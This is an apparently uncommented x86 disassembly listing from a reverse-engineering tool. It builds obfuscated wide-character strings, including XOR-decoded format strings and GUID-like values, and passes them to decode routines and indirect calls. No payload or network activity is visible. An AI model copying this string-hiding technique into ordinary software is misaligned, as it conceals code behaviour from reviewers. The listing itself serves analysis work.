mov word [ebp - 0xd06], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x2a
push 0x38
pop edx
xor eax, edx
mov word [ebp - 0xd04], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x2b
push 0x78
pop edx
xor eax, edx
mov word [ebp - 0xd02], ax
xor eax, eax
mov word [ebp - 0xd00], ax
mov ax, word [ebp - 0xd58]
mov eax, dword [ecx]
mov dword [ebp - 0x14b0], eax
mov eax, dword [ebx]
push ebx
call dword [eax + 0x184]
mov esi, dword [eax + 0x14]
mov edi, dword [ebx]
mov ebx, edi
mov ecx, dword [ebp - 0x14ac]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x184]
mov dword [ebp - 0x14bc], eax
push esi
mov esi, dword [ebp - 0x14ac]
push esi
call dword [edi + 0x184]
push 0x36
pop ecx
add eax, ecx
push eax
push esi
call dword [ebx + 0x184]
add eax, 0x18
push eax
mov eax, dword [ebp - 0x14bc]
push dword [eax]
lea ecx, [ebp - 0xd5c]
call fcn.10010f24
push eax
push dword [ebp - 0x14b8]
mov eax, dword [ebp - 0x14b0]
call dword [eax + 0x28]
add esp, 0x18
mov eax, dword [0x10201ab4]
mov edi, dword [eax + 0xa8]
mov eax, dword [eax + 0x10]
mov ebx, dword [eax + 0x48]
mov dword [ebp - 0xcfc], 0xd7c8
mov eax, dword [ebp - 0xcfc]
push 0x78
pop ecx
xor eax, ecx
mov word [ebp - 0xcf8], ax
mov eax, dword [ebp - 0xcfc]
inc eax
xor eax, 0x63
mov word [ebp - 0xcf6], ax
mov eax, dword [ebp - 0xcfc]
add eax, 2
xor eax, 0x6c
mov word [ebp - 0xcf4], ax
mov eax, dword [ebp - 0xcfc]
add eax, 3
push 0x69
pop esi
xor eax, esi
mov word [ebp - 0xcf2], ax
mov eax, dword [ebp - 0xcfc]
add eax, 4
push 0x6f
pop edx
xor eax, edx
mov word [ebp - 0xcf0], ax
mov eax, dword [ebp - 0xcfc]
add eax, 5
push 0x3a
pop ecx
xor eax, ecx
mov word [ebp - 0xcee], ax
mov eax, dword [ebp - 0xcfc]
add eax, 6
xor eax, ecx
mov word [ebp - 0xcec], ax
mov eax, dword [ebp - 0xcfc]
add eax, 7
push 0x20
pop ecx
xor eax, ecx
mov word [ebp - 0xcea], ax
mov eax, dword [ebp - 0xcfc]
add eax, 8
xor eax, 0x78
mov word [ebp - 0xce8], ax
mov eax, dword [ebp - 0xcfc]
add eax, 9
xor eax, esi
mov word [ebp - 0xce6], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0xa
push 0x63
pop esi
xor eax, esi
mov word [ebp - 0xce4], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0xb
xor eax, 0x6e
mov word [ebp - 0xce2], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0xc
xor eax, 0x66
mov word [ebp - 0xce0], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0xd
xor eax, edx
mov word [ebp - 0xcde], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0xe
xor eax, ecx
mov word [ebp - 0xcdc], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0xf
xor eax, esi
mov word [ebp - 0xcda], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x10
xor eax, 0x62
mov word [ebp - 0xcd8], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x11
xor eax, ecx
mov word [ebp - 0xcd6], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x12
xor eax, 0x77
mov word [ebp - 0xcd4], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x13
xor eax, 0x73
mov word [ebp - 0xcd2], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x14
xor eax, 0x6c
mov word [ebp - 0xcd0], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x15
xor eax, 0x3d
mov word [ebp - 0xcce], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x16
xor eax, 0x25
mov word [ebp - 0xccc], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x17
push 0x70
pop esi
xor eax, esi
mov word [ebp - 0xcca], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x18
xor eax, ecx
mov word [ebp - 0xcc8], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x19
xor eax, edx
mov word [ebp - 0xcc6], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x1a
push 0x68
pop edx
xor eax, edx
mov word [ebp - 0xcc4], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x1b
xor eax, 0x64
mov word [ebp - 0xcc2], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x1c
xor eax, 0x3d
mov word [ebp - 0xcc0], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x1d
xor eax, 0x25
mov word [ebp - 0xcbe], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x1e
xor eax, esi
mov word [ebp - 0xcbc], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x1f
xor eax, ecx
mov word [ebp - 0xcba], ax
mov eax, dword [ebp - 0xcfc]
add eax, ecx
xor eax, 0x67
mov word [ebp - 0xcb8], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x21
push 0x75
pop edx
xor eax, edx
mov word [ebp - 0xcb6], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x22
xor eax, 0x69
mov word [ebp - 0xcb4], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x23
xor eax, 0x3d
mov word [ebp - 0xcb2], ax
mov eax, dword [ebp - 0xcfc]
push 0x24
pop edx
add eax, edx
xor eax, 0x25
mov word [ebp - 0xcb0], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x25
xor eax, esi
mov word [ebp - 0xcae], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x26
xor eax, ecx
mov word [ebp - 0xcac], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x27
push 0x63
pop ecx
xor eax, ecx
mov word [ebp - 0xcaa], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x28
xor eax, ecx
mov word [ebp - 0xca8], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x29
push 0x3d
pop ecx
xor eax, ecx
mov word [ebp - 0xca6], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x2a
xor eax, 0x25
mov word [ebp - 0xca4], ax
mov eax, dword [ebp - 0xcfc]
add eax, 0x2b
xor eax, esi
mov word [ebp - 0xca2], ax
xor eax, eax
mov word [ebp - 0xca0], ax
mov ax, word [ebp - 0xcf8]
mov esi, dword [ebx]
mov eax, dword [edi]
push edi
call dword [eax + 0x184]
push dword [eax + 0x10]
mov eax, dword [edi]
push edi
call dword [eax + 0x184]
push dword [eax + 0xc]
mov eax, dword [edi]
push edi
call dword [eax + 0x184]
push dword [eax + 8]
mov eax, dword [edi]
push edi
call dword [eax + 0x184]
push dword [eax + 4]
lea ecx, [ebp - 0xcfc]
call fcn.10010f24
push eax
push ebx
call dword [esi + 0x28]
add esp, 0x18
mov eax, dword [0x10201ab4]
mov edi, dword [eax + 0xa8]
mov eax, dword [eax + 0x10]
mov ebx, dword [eax + 0x48]
push 0x7a
pop ecx
mov word [ebp - 0xfc0], cx
push 0x65
pop esi
mov word [ebp - 0xfbe], si
push 0x6e
pop eax
mov word [ebp - 0xfbc], ax
push 0x6b
pop edx
mov word [ebp - 0xfba], dx
push 0x71
pop eax
mov word [ebp - 0xfb8], ax
push 0x3c
pop eax
mov word [ebp - 0xfb6], ax
mov word [ebp - 0xfb4], ax
push 0x22
pop eax
mov word [ebp - 0xfb2], ax
mov word [ebp - 0xfb0], cx
mov word [ebp - 0xfae], dx
mov word [ebp - 0xfac], si
push 0x70
pop ecx
mov word [ebp - 0xfaa], cx
push 0x68
pop ecx
mov word [ebp - 0xfa8], cx
push 0x71
pop esi
mov word [ebp - 0xfa6], si
mov word [ebp - 0xfa4], ax
mov word [ebp - 0xfa2], dx
push 0x72
pop ecx
mov word [ebp - 0xfa0], cx
mov word [ebp - 0xf9e], ax
push 0x24
pop esi
mov word [ebp - 0xf9c], si
push 0x27
pop ecx
mov word [ebp - 0xf9a], cx
push 0x6e
pop edx
mov word [ebp - 0xf98], dx
push 0x75
pop edx
mov word [ebp - 0xf96], dx
mov word [ebp - 0xf94], si
mov word [ebp - 0xf92], ax
mov word [ebp - 0xf90], si
mov word [ebp - 0xf8e], cx
push 0x6e
pop eax
mov word [ebp - 0xf8c], ax
mov word [ebp - 0xf8a], dx
mov word [ebp - 0xf88], si
xor eax, eax
mov word [ebp - 0xf86], ax
mov ax, word [ebp - 0xfc0]
mov esi, dword [ebx]
mov eax, dword [edi]
push edi
call dword [eax + 0x184]
add eax, 0x54
push eax
mov eax, dword [edi]
push edi
call dword [eax + 0x184]
add eax, 0x66c
push eax
lea ecx, [ebp - 0xfc0]
call fcn.10011018
push eax
push ebx
call dword [esi + 0x28]
add esp, 0x10
mov eax, dword [0x10201ab4]
mov edi, dword [eax + 0xa8]
mov eax, dword [eax + 0x10]
mov ebx, dword [eax + 0x48]
mov dword [ebp - 0x1190], 0x9f51
mov esi, 0x9f29
mov word [ebp - 0x118c], si
lea eax, [esi + 9]
mov word [ebp - 0x118a], ax
add eax, 0xb
mov word [ebp - 0x1188], ax
lea ecx, [esi + 0xf]
mov word [ebp - 0x1186], cx
lea edx, [esi + 0x15]
mov word [ebp - 0x1184], dx
lea eax, [esi + 0x42]
mov word [ebp - 0x1182], ax
mov word [ebp - 0x1180], ax
add eax, 6
mov word [ebp - 0x117e], ax
mov word [ebp - 0x117c], si
mov word [ebp - 0x117a], cx
add ecx, 0xfffffffa
mov word [ebp - 0x1178], cx
lea ecx, [esi + 0x16]
mov word [ebp - 0x1176], cx
add ecx, 0xfffffff8
mov word [ebp - 0x1174], cx
mov word [ebp - 0x1172], dx
mov word [ebp - 0x1170], ax
lea ecx, [esi - 6]
mov word [ebp - 0x116e], cx
add ecx, 0xfffffffe
mov word [ebp - 0x116c], cx
mov word [ebp - 0x116a], ax
add esi, 0x4a
mov word [ebp - 0x1168], si
add edx, 0x36
mov word [ebp - 0x1166], dx
mov ecx, 0x9f3d
mov word [ebp - 0x1164], cx
add ecx, 0xffffffe5
mov word [ebp - 0x1162], cx
mov word [ebp - 0x1160], si
mov word [ebp - 0x115e], ax
mov word [ebp - 0x115c], si
mov word [ebp - 0x115a], dx
mov eax, 0x9f3d
mov word [ebp - 0x1158], ax
mov word [ebp - 0x1156], cx
mov word [ebp - 0x1154], si
xor eax, eax
mov word [ebp - 0x1152], ax
mov ax, word [ebp - 0x118c]
mov esi, dword [ebx]
mov eax, dword [edi]
push edi
call dword [eax + 0x184]
add eax, 0x25c
push eax
mov eax, dword [edi]
push edi
call dword [eax + 0x184]
add eax, 0x874
push eax
lea ecx, [ebp - 0x1190]
call fcn.10011209
push eax
push ebx
call dword [esi + 0x28]
add esp, 0x10
mov eax, dword [0x10201ab4]
mov ecx, dword [eax + 0xa8]
mov eax, dword [eax + 0x10]
mov edi, dword [eax + 0x48]
push 0x7a
pop edx
mov word [ebp - 0xf84], dx
push 0x65
pop ebx
mov word [ebp - 0xf82], bx
push 0x6e
pop eax
mov word [ebp - 0xf80], ax
push 0x6b
pop esi
mov word [ebp - 0xf7e], si
push 0x71
pop eax
mov word [ebp - 0xf7c], ax
push 0x3c
pop eax
mov word [ebp - 0xf7a], ax
mov word [ebp - 0xf78], ax
push 0x22
pop eax
mov word [ebp - 0xf76], ax
mov word [ebp - 0xf74], dx
mov word [ebp - 0xf72], si
mov word [ebp - 0xf70], bx
push 0x70
pop ebx
mov word [ebp - 0xf6e], bx
push 0x68
pop edx
mov word [ebp - 0xf6c], dx
push 0x71
pop esi
mov word [ebp - 0xf6a], si
mov word [ebp - 0xf68], ax
push 0x6e
pop edx
mov word [ebp - 0xf66], dx
push 0x72
pop edx
mov word [ebp - 0xf64], dx
mov word [ebp - 0xf62], ax
push 0x24
pop esi
mov word [ebp - 0xf60], si
push 0x27
pop eax
mov word [ebp - 0xf5e], ax
push 0x6e
pop eax
mov word [ebp - 0xf5c], ax
push 0x75
pop edx
mov word [ebp - 0xf5a], dx
mov word [ebp - 0xf58], si
xor eax, eax
mov word [ebp - 0xf56], ax
mov ax, word [ebp - 0xf84]
mov esi, dword [edi]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x184]
add eax, 0x464
push eax
lea ecx, [ebp - 0xf84]
call fcn.10011095
push eax
push edi
call dword [esi + 0x28]
add esp, 0xc
mov eax, dword [0x10201ab4]
mov edi, dword [eax + 0xa8]
lea eax, [ebx + 0x14]
mov word [ebp - 0x1058], ax
push 0x4b
pop edx
mov word [ebp - 0x1056], dx
push 0x3f
pop esi
mov word [ebp - 0x1054], si
push 0x41
pop eax
mov word [ebp - 0x1052], ax
mov word [ebp - 0x1050], dx
push 0x40
pop eax
mov word [ebp - 0x104e], ax
push 0x4f
pop eax
mov word [ebp - 0x104c], ax
mov word [ebp - 0x104a], dx
push 0x39
pop ecx
mov word [ebp - 0x1048], cx
push 0x36
pop ecx
mov word [ebp - 0x1046], cx
push 0x40
pop ebx
mov word [ebp - 0x1044], bx
push 0x3d
pop ebx
mov word [ebp - 0x1042], bx
mov word [ebp - 0x1040], si
mov word [ebp - 0x103e], ax
mov word [ebp - 0x103c], cx
mov word [ebp - 0x103a], bx
push 0x41
pop eax
mov word [ebp - 0x1038], ax
mov word [ebp - 0x1036], bx
mov word [ebp - 0x1034], bx
mov word [ebp - 0x1032], cx
push 0x4a
pop eax
mov word [ebp - 0x1030], ax
push 0x4e
pop edx
mov word [ebp - 0x102e], dx
mov word [ebp - 0x102c], ax
mov word [ebp - 0x102a], si
mov word [ebp - 0x1028], cx
mov word [ebp - 0x1026], ax
push 0x4b
pop edx
mov word [ebp - 0x1024], dx
push 0x3c
pop ecx
mov word [ebp - 0x1022], cx
push 0x4d
pop eax
mov word [ebp - 0x1020], ax
mov word [ebp - 0x101e], si
push 0x3e
pop eax
mov word [ebp - 0x101c], ax
mov word [ebp - 0x101a], cx
push 0x40
pop eax
mov word [ebp - 0x1018], ax
mov word [ebp - 0x1016], si
push 0x4a
pop eax
mov word [ebp - 0x1014], ax
mov word [ebp - 0x1012], bx
mov word [ebp - 0x1010], ax
add eax, 0x3c
mov word [ebp - 0x100e], ax
xor eax, eax
mov word [ebp - 0x100c], ax
mov ax, word [ebp - 0x1058]
mov esi, dword [edi]
push 0x70
pop ebx
push 0xe000000a
lea ecx, [ebp - 0x1058]
call fcn.10010f9b
push eax
push edi
call dword [esi + ebx]
mov ecx, eax
mov eax, dword [0x10201ab4]
mov edx, dword [eax + 0xa8]
mov dword [ebp - 0x14ac], edx
mov eax, dword [eax + 0x10]
mov ebx, dword [eax + 0x48]
mov dword [ebp - 0x14b8], ebx
mov eax, 0x81
mov word [ebp - 0x10a8], ax
push 0x3b
pop eax
mov word [ebp - 0x10a6], ax
push 0x38
pop eax
mov word [ebp - 0x10a4], ax
push 0x3c
pop edi
mov word [ebp - 0x10a2], di
push 0x36
pop eax
mov word [ebp - 0x10a0], ax
push 0x3f
pop eax
mov word [ebp - 0x109e], ax
push 0x37
pop esi
mov word [ebp - 0x109c], si
push 0x4b
pop eax
mov word [ebp - 0x109a], ax
mov word [ebp - 0x1098], di
push 0x33
pop edi
mov word [ebp - 0x1096], di
push 0x3f
pop eax
mov word [ebp - 0x1094], ax
mov word [ebp - 0x1092], si
push 0x4c
pop edx
mov word [ebp - 0x1090], dx
mov word [ebp - 0x108e], ax
mov word [ebp - 0x108c], di
push 0x3a
pop eax
mov word [ebp - 0x108a], ax
push 0x68
pop eax
mov word [ebp - 0x1088], ax
push 0x69
pop eax
mov word [ebp - 0x1086], ax
push 0x3b
pop eax
mov word [ebp - 0x1084], ax
mov word [ebp - 0x1082], di
push 0x48
pop eax
mov word [ebp - 0x1080], ax
push 0x3a
pop eax
mov word [ebp - 0x107e], ax
push 0x49
pop edx
mov word [ebp - 0x107c], dx
push 0x38
pop eax
mov word [ebp - 0x107a], ax
mov word [ebp - 0x1078], di
push 0x39
pop eax
mov word [ebp - 0x1076], ax
push 0x4b
pop eax
mov word [ebp - 0x1074], ax
push 0x4c
pop eax
mov word [ebp - 0x1072], ax
mov word [ebp - 0x1070], si
push 0x47
pop eax
mov word [ebp - 0x106e], ax
push 0x36
pop eax
mov word [ebp - 0x106c], ax
mov word [ebp - 0x106a], dx
push 0x3f
pop edx
mov word [ebp - 0x1068], dx
push 0x3d
pop edx
mov word [ebp - 0x1066], dx
mov word [ebp - 0x1064], ax
push 0x49
pop eax
mov word [ebp - 0x1062], ax
mov word [ebp - 0x1060], si
add eax, 0x3a
mov word [ebp - 0x105e], ax
xor eax, eax
mov word [ebp - 0x105c], ax
mov ax, word [ebp - 0x10a8]
mov dword [ebp - 0xe30], 0x542c
mov eax, dword [ebp - 0xe30]
xor eax, 0x7b
mov word [ebp - 0xe2c], ax
mov eax, dword [ebp - 0xe30]
inc eax
xor eax, 0x36
mov word [ebp - 0xe2a], ax
mov eax, dword [ebp - 0xe30]
add eax, 2
xor eax, 0x39
mov word [ebp - 0xe28], ax
mov eax, dword [ebp - 0xe30]
add eax, 3
push 0x42
pop edx
xor eax, edx
mov word [ebp - 0xe26], ax
mov eax, dword [ebp - 0xe30]
add eax, 4
xor eax, 0x36
mov word [ebp - 0xe24], ax
mov eax, dword [ebp - 0xe30]
add eax, 5
xor eax, esi
mov word [ebp - 0xe22], ax
mov eax, dword [ebp - 0xe30]
add eax, 6
xor eax, 0x36
mov word [ebp - 0xe20], ax
mov eax, dword [ebp - 0xe30]
add eax, 7
xor eax, 0x46
mov word [ebp - 0xe1e], ax
mov eax, dword [ebp - 0xe30]
add eax, 8
xor eax, 0x30
mov word [ebp - 0xe1c], ax
mov eax, dword [ebp - 0xe30]
add eax, 9
push 0x2d
pop esi
xor eax, esi
mov word [ebp - 0xe1a], ax
mov eax, dword [ebp - 0xe30]
add eax, 0xa
xor eax, 0x46
mov word [ebp - 0xe18], ax
mov eax, dword [ebp - 0xe30]
add eax, 0xb
xor eax, 0x43
mov word [ebp - 0xe16], ax
mov eax, dword [ebp - 0xe30]
add eax, 0xc
xor eax, 0x37
mov word [ebp - 0xe14], ax
mov eax, dword [ebp - 0xe30]
add eax, 0xd
xor eax, 0x30
mov word [ebp - 0xe12], ax
mov eax, dword [ebp - 0xe30]
add eax, 0xe
xor eax, esi
mov word [ebp - 0xe10], ax
mov eax, dword [ebp - 0xe30]
add eax, 0xf
xor eax, 0x34
mov word [ebp - 0xe0e], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x10
xor eax, 0x66
mov word [ebp - 0xe0c], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x11
xor eax, edi
mov word [ebp - 0xe0a], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x12
xor eax, 0x62
mov word [ebp - 0xe08], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x13
xor eax, esi
mov word [ebp - 0xe06], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x14
xor eax, 0x39
mov word [ebp - 0xe04], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x15
xor eax, edi
mov word [ebp - 0xe02], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x16
xor eax, 0x30
mov word [ebp - 0xe00], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x17
xor eax, 0x34
mov word [ebp - 0xdfe], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x18
xor eax, esi
mov word [ebp - 0xdfc], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x19
xor eax, 0x46
mov word [ebp - 0xdfa], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x1a
xor eax, 0x39
mov word [ebp - 0xdf8], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x1b
xor eax, 0x35
mov word [ebp - 0xdf6], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x1c
xor eax, 0x32
mov word [ebp - 0xdf4], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x1d
xor eax, 0x36
mov word [ebp - 0xdf2], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x1e
xor eax, edx
mov word [ebp - 0xdf0], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x1f
xor eax, 0x32
mov word [ebp - 0xdee], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x20
xor eax, 0x37
mov word [ebp - 0xdec], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x21
xor eax, edi
mov word [ebp - 0xdea], ax
mov eax, dword [ebp - 0xe30]
push 0x22
pop esi
add eax, esi
xor eax, 0x37
mov word [ebp - 0xde8], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x23
xor eax, 0x39
mov word [ebp - 0xde6], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x24
xor eax, 0x44
mov word [ebp - 0xde4], ax
mov eax, dword [ebp - 0xe30]
add eax, 0x25
xor eax, 0x7d
mov word [ebp - 0xde2], ax
xor eax, eax
mov word [ebp - 0xde0], ax
mov ax, word [ebp - 0xe2c]
mov dword [ebp - 0x1318], 0x76aa
mov eax, 0x76d1
mov word [ebp - 0x1314], ax
add eax, 0xffffffc7
mov word [ebp - 0x1312], ax
mov eax, 0x76eb
mov word [ebp - 0x1310], ax
add eax, 3
mov word [ebp - 0x130e], ax
mov edi, 0x76e8
mov word [ebp - 0x130c], di
mov word [ebp - 0x130a], ax
mov word [ebp - 0x1308], ax
mov word [ebp - 0x1306], di
lea eax, [edi - 0x55]
mov word [ebp - 0x1304], ax
add eax, 0xfffffff4
mov word [ebp - 0x1302], ax
lea eax, [edi + 1]
mov word [ebp - 0x1300], ax
mov word [ebp - 0x12fe], di
add eax, 5
mov word [ebp - 0x12fc], ax
lea eax, [edi + 4]
mov word [ebp - 0x12fa], ax
add edi, 0xffffff9f
mov word [ebp - 0x12f8], di
add eax, 0xffffffb2
mov word [ebp - 0x12f6], ax
mov eax, 0x76cc
mov word [ebp - 0x12f4], ax
add eax, 0xfffffffd
mov word [ebp - 0x12f2], ax
mov eax, 0x76cb
mov word [ebp - 0x12f0], ax
mov word [ebp - 0x12ee], di
add eax, 0x20
mov word [ebp - 0x12ec], ax
mov eax, 0x769c
mov word [ebp - 0x12ea], ax
inc eax
mov word [ebp - 0x12e8], ax
mov eax, 0x769f
mov word [ebp - 0x12e6], ax
mov word [ebp - 0x12e4], di
add eax, 0xfffffff9
mov word [ebp - 0x12e2], ax
mov eax, 0x769b
mov word [ebp - 0x12e0], ax
lea edi, [eax + 0x54]
mov word [ebp - 0x12de], di
add eax, 0x50
mov word [ebp - 0x12dc], ax
mov word [ebp - 0x12da], di
lea eax, [edi - 0x52]
mov word [ebp - 0x12d8], ax
add eax, 0xfffffff5
mov word [ebp - 0x12d6], ax
lea eax, [edi - 0x5c]
mov word [ebp - 0x12d4], ax
mov word [ebp - 0x12d2], di
add eax, 7
mov word [ebp - 0x12d0], ax
lea eax, [edi - 0x51]
mov word [ebp - 0x12ce], ax
add eax, 0x4e
mov word [ebp - 0x12cc], ax
lea eax, [edi - 0x18]
mov word [ebp - 0x12ca], ax
xor eax, eax
mov word [ebp - 0x12c8], ax
mov ax, word [ebp - 0x1314]
mov dword [ebp - 0xddc], 0x564a
mov eax, dword [ebp - 0xddc]
xor eax, 0x7b
mov word [ebp - 0xdd8], ax
mov eax, dword [ebp - 0xddc]
inc eax
xor eax, 0x45
mov word [ebp - 0xdd6], ax
mov eax, dword [ebp - 0xddc]
add eax, 2
xor eax, edx
mov word [ebp - 0xdd4], ax
mov eax, dword [ebp - 0xddc]
add eax, 3
xor eax, 0x35
mov word [ebp - 0xdd2], ax
mov eax, dword [ebp - 0xddc]
add eax, 4
xor eax, 0x36
mov word [ebp - 0xdd0], ax
mov eax, dword [ebp - 0xddc]
add eax, 5
xor eax, edx
mov word [ebp - 0xdce], ax
mov eax, dword [ebp - 0xddc]
add eax, 6
xor eax, 0x45
mov word [ebp - 0xdcc], ax
mov eax, dword [ebp - 0xddc]
add eax, 7
xor eax, 0x33
mov word [ebp - 0xdca], ax
mov eax, dword [ebp - 0xddc]
add eax, 8
xor eax, 0x31
mov word [ebp - 0xdc8], ax
mov eax, dword [ebp - 0xddc]
add eax, 9
push 0x2d
pop edi
xor eax, edi
mov word [ebp - 0xdc6], ax
mov eax, dword [ebp - 0xddc]
add eax, 0xa
xor eax, 0x37
mov word [ebp - 0xdc4], ax
mov eax, dword [ebp - 0xddc]
add eax, 0xb
xor eax, 0x46
mov word [ebp - 0xdc2], ax
mov eax, dword [ebp - 0xddc]
add eax, 0xc
xor eax, 0x34
mov word [ebp - 0xdc0], ax
mov eax, dword [ebp - 0xddc]
add eax, 0xd
xor eax, 0x31
mov word [ebp - 0xdbe], ax
mov eax, dword [ebp - 0xddc]
add eax, 0xe
xor eax, edi
mov word [ebp - 0xdbc], ax
mov eax, dword [ebp - 0xddc]
add eax, 0xf
xor eax, 0x34
mov word [ebp - 0xdba], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x10
xor eax, 0x34
mov word [ebp - 0xdb8], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x11
xor eax, 0x64
mov word [ebp - 0xdb6], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x12
xor eax, 0x30
mov word [ebp - 0xdb4], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x13
xor eax, edi
mov word [ebp - 0xdb2], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x14
xor eax, 0x39
mov word [ebp - 0xdb0], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x15
xor eax, 0x43
mov word [ebp - 0xdae], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x16
xor eax, 0x36
mov word [ebp - 0xdac], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x17
xor eax, 0x45
mov word [ebp - 0xdaa], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x18
xor eax, edi
mov word [ebp - 0xda8], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x19
xor eax, 0x39
mov word [ebp - 0xda6], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x1a
xor eax, 0x30
mov word [ebp - 0xda4], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x1b
xor eax, 0x37
mov word [ebp - 0xda2], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x1c
xor eax, 0x35
mov word [ebp - 0xda0], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x1d
xor eax, 0x44
mov word [ebp - 0xd9e], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x1e
xor eax, 0x38
mov word [ebp - 0xd9c], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x1f
xor eax, 0x35
mov word [ebp - 0xd9a], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x20
xor eax, 0x34
mov word [ebp - 0xd98], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x21
xor eax, 0x36
mov word [ebp - 0xd96], ax
mov eax, dword [ebp - 0xddc]
add eax, esi
xor eax, 0x33
mov word [ebp - 0xd94], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x23
xor eax, 0x32
mov word [ebp - 0xd92], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x24
xor eax, 0x33
mov word [ebp - 0xd90], ax
mov eax, dword [ebp - 0xddc]
add eax, 0x25
xor eax, 0x7d
mov word [ebp - 0xd8e], ax
xor eax, eax
mov word [ebp - 0xd8c], ax
mov ax, word [ebp - 0xdd8]
mov dword [ebp - 0x1264], 0x2627
mov eax, 0x265f
mov word [ebp - 0x1260], ax
add eax, 0xffffffe5
mov word [ebp - 0x125e], ax
mov eax, 0x264b
mov word [ebp - 0x125c], ax
lea edi, [eax + 3]
mov word [ebp - 0x125a], di
lea esi, [eax - 3]
mov word [ebp - 0x1258], si
add eax, 0xffffffd2
mov word [ebp - 0x1256], ax
mov word [ebp - 0x1254], ax
lea eax, [edi - 0x47]
mov word [ebp - 0x1252], ax
add eax, 0x4a
mov word [ebp - 0x1250], ax
mov word [ebp - 0x124e], di
lea eax, [edi - 0xd]
mov word [ebp - 0x124c], ax
add eax, 0xffffffc6
mov word [ebp - 0x124a], ax
mov word [ebp - 0x1248], di
mov word [ebp - 0x1246], si
mov esi, eax
mov word [ebp - 0x1244], si
lea eax, [edi - 0x34]
mov word [ebp - 0x1242], ax
mov word [ebp - 0x1240], si
add eax, 0xffffffe8
mov word [ebp - 0x123e], ax
lea eax, [edi - 0xb]
mov word [ebp - 0x123c], ax
add edi, 0xffffffbd
mov word [ebp - 0x123a], di
mov word [ebp - 0x1238], si
add eax, 0x11
mov word [ebp - 0x1236], ax
mov esi, 0x2646
mov word [ebp - 0x1234], si
add esi, 0xffffffc1
mov word [ebp - 0x1232], si
mov eax, 0x261a
mov word [ebp - 0x1230], ax
mov word [ebp - 0x122e], si
lea esi, [eax - 0x18]
mov word [ebp - 0x122c], si
add eax, 0x29
mov word [ebp - 0x122a], ax
mov word [ebp - 0x1228], di
lea eax, [esi + 5]
mov word [ebp - 0x1226], ax
add eax, 0x4e
mov word [ebp - 0x1224], ax
lea edi, [esi + 0x3f]
mov word [ebp - 0x1222], di
add edi, 3
mov word [ebp - 0x1220], di
lea edi, [esi + 5]
mov word [ebp - 0x121e], di
add edi, 0x13
mov word [ebp - 0x121c], di
lea edi, [esi + 5]
mov word [ebp - 0x121a], di
mov word [ebp - 0x1218], si
add esi, 0x41
mov word [ebp - 0x1216], si
add edi, 4
mov word [ebp - 0x1214], di
mov esi, 0x2607
mov word [ebp - 0x1212], si
mov word [ebp - 0x1210], ax
add esi, 0x3f
mov word [ebp - 0x120e], si
mov word [ebp - 0x120c], si
mov eax, 0x2641
mov word [ebp - 0x120a], ax
